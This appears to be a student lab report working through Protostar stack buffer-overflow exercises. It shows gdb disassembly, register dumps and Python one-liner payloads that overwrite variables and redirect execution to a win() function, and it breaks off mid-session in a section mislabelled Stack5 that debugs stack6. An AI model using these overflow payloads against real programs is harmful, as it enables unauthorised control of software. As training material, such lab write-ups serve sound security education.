

lab8_report

Stack0

```
(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>:  push    %ebp
0x080483f5 <main+1>:  mov     %esp,%ebp
0x080483f7 <main+3>:  and     $0xffffffff0,%esp
0x080483fa <main+6>:  sub     $0x60,%esp
0x080483fd <main+9>:  movl    $0x0,0x5c(%esp)
0x08048405 <main+17>: lea     0x1c(%esp),%eax
0x08048409 <main+21>:  mov     %eax,(%esp)
0x0804840c <main+24>:  call    0x804830c <gets@plt>
0x08048411 <main+29>:  mov     0x5c(%esp),%eax
0x08048415 <main+33>:  test    %eax,%eax
0x08048417 <main+35>:  je      0x8048427 <main+51>
0x08048419 <main+37>:  movl    $0x8048500,(%esp)
0x08048420 <main+44>:  call    0x804832c <puts@plt>
0x08048425 <main+49>:  jmp     0x8048433 <main+63>
0x08048427 <main+51>:  movl    $0x8048529,(%esp)
0x0804842e <main+58>:  call    0x804832c <puts@plt>
0x08048433 <main+63>:  leave
0x08048434 <main+64>:  ret
End of assembler dump.
(gdb) q
user@protostar:/opt/protostar/bin$ python -c "print('A'*65)" | ./stack0
you have changed the 'modified' variable
user@protostar:/opt/protostar/bin$ _
```

Stack1

```
user@protostar:/opt/protostar/bin$ ./stack1 jnekjnjke
Try again, you got 0x00000000
user@protostar:/opt/protostar/bin$ cd /tmp
user@protostar:/tmp$ python -c "print('A'*64 + 'dcba')" > ./exp
user@protostar:/tmp$ cat ./exp
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
user@protostar:/tmp$ cd /opt/protostar/bin
user@protostar:/opt/protostar/bin$ ./stack1 $(< /tmp/exp)
you have correctly got the variable to the right value
user@protostar:/opt/protostar/bin$ _
```

Stack2

```
user@protostar:/tmp$ cd /tmp
user@protostar:/tmp$ python -c "print('A'*64 + '\x0a\x0d\x0a\x0d')" > ./exp1
user@protostar:/tmp$ cd /opt/protostar/bin
user@protostar:/opt/protostar/bin$ export GREENIE=$(< /tmp/exp)
user@protostar:/opt/protostar/bin$ ./stack2
Try again, you got 0x61626364
user@protostar:/opt/protostar/bin$ export GREENIE=$(< /tmp/exp1)
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
user@protostar:/opt/protostar/bin$ _
```

Stack3

```

user@protostar:/opt/protostar/bin$ gdb ./stack3
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) print win
$1 = {void (void)} 0x8048424 <win>
(gdb) break main
Breakpoint 1 at 0x8048441: file stack3/stack3.c, line 16.
(gdb) disas main_

```

```

0x08048439 <main+1>:  mov    %esp,%ebp
0x0804843b <main+3>:  and    $0xffffffff0,%esp
0x0804843e <main+6>:  sub    $0x60,%esp
0x08048441 <main+9>:  movl   $0x0,0x5c(%esp)
0x08048449 <main+17>: lea    0x1c(%esp),%eax
0x0804844d <main+21>:  mov    %eax,(%esp)
0x08048450 <main+24>:  call   0x8048330 <gets@plt>
0x08048455 <main+29>:  cmpl   $0x0,0x5c(%esp)
0x0804845a <main+34>:  je     0x8048477 <main+63>
0x0804845c <main+36>:  mov    $0x8048560,%eax
0x08048461 <main+41>:  mov    0x5c(%esp),%edx
0x08048465 <main+45>:  mov    %edx,0x4(%esp)
0x08048469 <main+49>:  mov    %eax,(%esp)
0x0804846c <main+52>:  call   0x8048350 <printf@plt>
0x08048471 <main+57>:  mov    0x5c(%esp),%eax
0x08048475 <main+61>:  call   *%eax
0x08048477 <main+63>:  leave
0x08048478 <main+64>:  ret
End of assembler dump.
(gdb) print win
$2 = {void (void)} 0x8048424 <win>
(gdb) q

```

```

user@protostar:/opt/protostar/bin$ python -c "print('A'*64 + '\x24\x84\x04\x08')
" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
user@protostar:/opt/protostar/bin$

```

Stack4

```

Starting program: /opt/protostar/bin/stack4

Breakpoint 2, 0x0804840b in main (argc=1, argv=0xbffff8c4)
    at stack4/stack4.c:12
12      in stack4/stack4.c
(gdb) info registers
eax                0xbffff8c4            -1073743676
ecx                0x433c8ff1            1128042481
edx                0x1                    1
ebx                0xb7fd7ff4            -1208123404
esp                0xbffff818            0xbffff818
ebp                0xbffff818            0xbffff818
esi                0x0                    0
edi                0x0                    0
eip                0x0804840b            0x0804840b <main+3>
eflags             0x200246 [ PF ZF IF ID ]
cs                 0x73                  115
ss                 0x7b                  123
ds                 0x7b                  123
es                 0x7b                  123
fs                 0x0                    0
gs                 0x33                  51
(gdb) _

```

```

(gdb) c
Continuing.

Breakpoint 3, 0x0804840e in main (argc=1, argv=0xbffff8c4)
    at stack4/stack4.c:12
12      in stack4/stack4.c
(gdb) info registers
eax                0xbffff8c4            -1073743676
ecx                0x433c8ff1            1128042481
edx                0x1                    1
ebx                0xb7fd7ff4            -1208123404
esp                0xbffff810            0xbffff810
ebp                0xbffff818            0xbffff818
esi                0x0                    0
edi                0x0                    0
eip                0x0804840e            0x0804840e <main+6>
eflags             0x200282 [ SF IF ID ]
cs                 0x73                  115
ss                 0x7b                  123
ds                 0x7b                  123
es                 0x7b                  123
fs                 0x0                    0
gs                 0x33                  51
(gdb) _

```

```

(gdb) print win
$1 = {void (void)} 0x080483f4 <win>
(gdb) _

```

```

user@protostar:/opt/protostar/bin$ python -c "print('A'* 64 + 'B'* 8 + 'C'* 4 + '\xF4\x83\x04\x08')" | ./stack4
code flow successfully changed

```

Stack5

```
user@protostar:/opt/protostar/bin$ gdb ./stack5
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push    %ebp
0x080483c5 <main+1>:    mov     %esp,%ebp
0x080483c7 <main+3>:    and     $0xffffffff0,%esp
0x080483ca <main+6>:    sub     $0x50,%esp
0x080483cd <main+9>:    lea     0x10(%esp),%eax
0x080483d1 <main+13>:   mov     %eax,(%esp)
0x080483d4 <main+16>:   call    0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb)
```

```
Breakpoint 1 at 0x80483ca: file stack5/stack5.c, line 7.
(gdb) r
Starting program: /opt/protostar/bin/stack5

Breakpoint 1, 0x80483ca in main (argc=1, argv=0xbffff8c4) at stack5/stack5.c:7
7      stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) info registers
eax                0xbffff8c4                -1073743676
ecx                0x3fba46f9                1069172473
edx                0x1                        1
ebx                0xb7fd7ff4                -1208123404
esp                0xbffff810                0xbffff810
ebp                0xbffff818                0xbffff818
esi                0x0                        0
edi                0x0                        0
eip                0x80483ca                0x80483ca <main+6>
eflags            0x200282 [ SF IF ID ]
cs                0x73                        115
ss                0x7b                        123
ds                0x7b                        123
es                0x7b                        123
fs                0x0                        0
gs                0x33                        51
(gdb) _
```



```

Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push    %ebp
0x08048485 <getpath+1>: mov     %esp,%ebp
0x08048487 <getpath+3>: sub     $0x68,%esp
0x0804848a <getpath+6>: mov     $0x80485d0,%eax
0x0804848f <getpath+11>: mov     %eax,(%esp)
0x08048492 <getpath+14>: call    0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov     0x8049720,%eax
0x0804849c <getpath+24>: mov     %eax,(%esp)
0x0804849f <getpath+27>: call    0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea     -0x4c(%ebp),%eax
0x080484a7 <getpath+35>: mov     %eax,(%esp)
0x080484aa <getpath+38>: call    0x8048380 <gets@plt>
0x080484af <getpath+43>: mov     0x4(%ebp),%eax
0x080484b2 <getpath+46>: mov     %eax,-0xc(%ebp)
0x080484b5 <getpath+49>: mov     -0xc(%ebp),%eax
0x080484b8 <getpath+52>: and     $0xbf000000,%eax
0x080484bd <getpath+57>: cmp     $0xbf000000,%eax
0x080484c2 <getpath+62>: jne     0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov     $0x80485e4,%eax
0x080484c9 <getpath+69>: mov     -0xc(%ebp),%edx
0x080484cc <getpath+72>: mov     %edx,0x4(%esp)
0x080484d0 <getpath+76>: mov     %eax,(%esp)
0x080484d3 <getpath+79>: call    0x80483c0 <printf@plt>
---Type <return> to continue, or q <return> to quit---_

```

```

---Type <return> to continue, or q <return> to quit---
0x080484d8 <getpath+84>: movl    $0x1,(%esp)
0x080484df <getpath+91>: call    0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov     $0x80485f0,%eax
0x080484e9 <getpath+101>: lea     -0x4c(%ebp),%edx
0x080484ec <getpath+104>: mov     %edx,0x4(%esp)
0x080484f0 <getpath+108>: mov     %eax,(%esp)
0x080484f3 <getpath+111>: call    0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.

```

```

(gdb) break *0x08048487
Breakpoint 2 at 0x8048487: file stack6/stack6.c, line 7.
(gdb) c
Continuing.

Breakpoint 2, 0x08048487 in getpath () at stack6/stack6.c:7
7      in stack6/stack6.c
(gdb) info registers

```

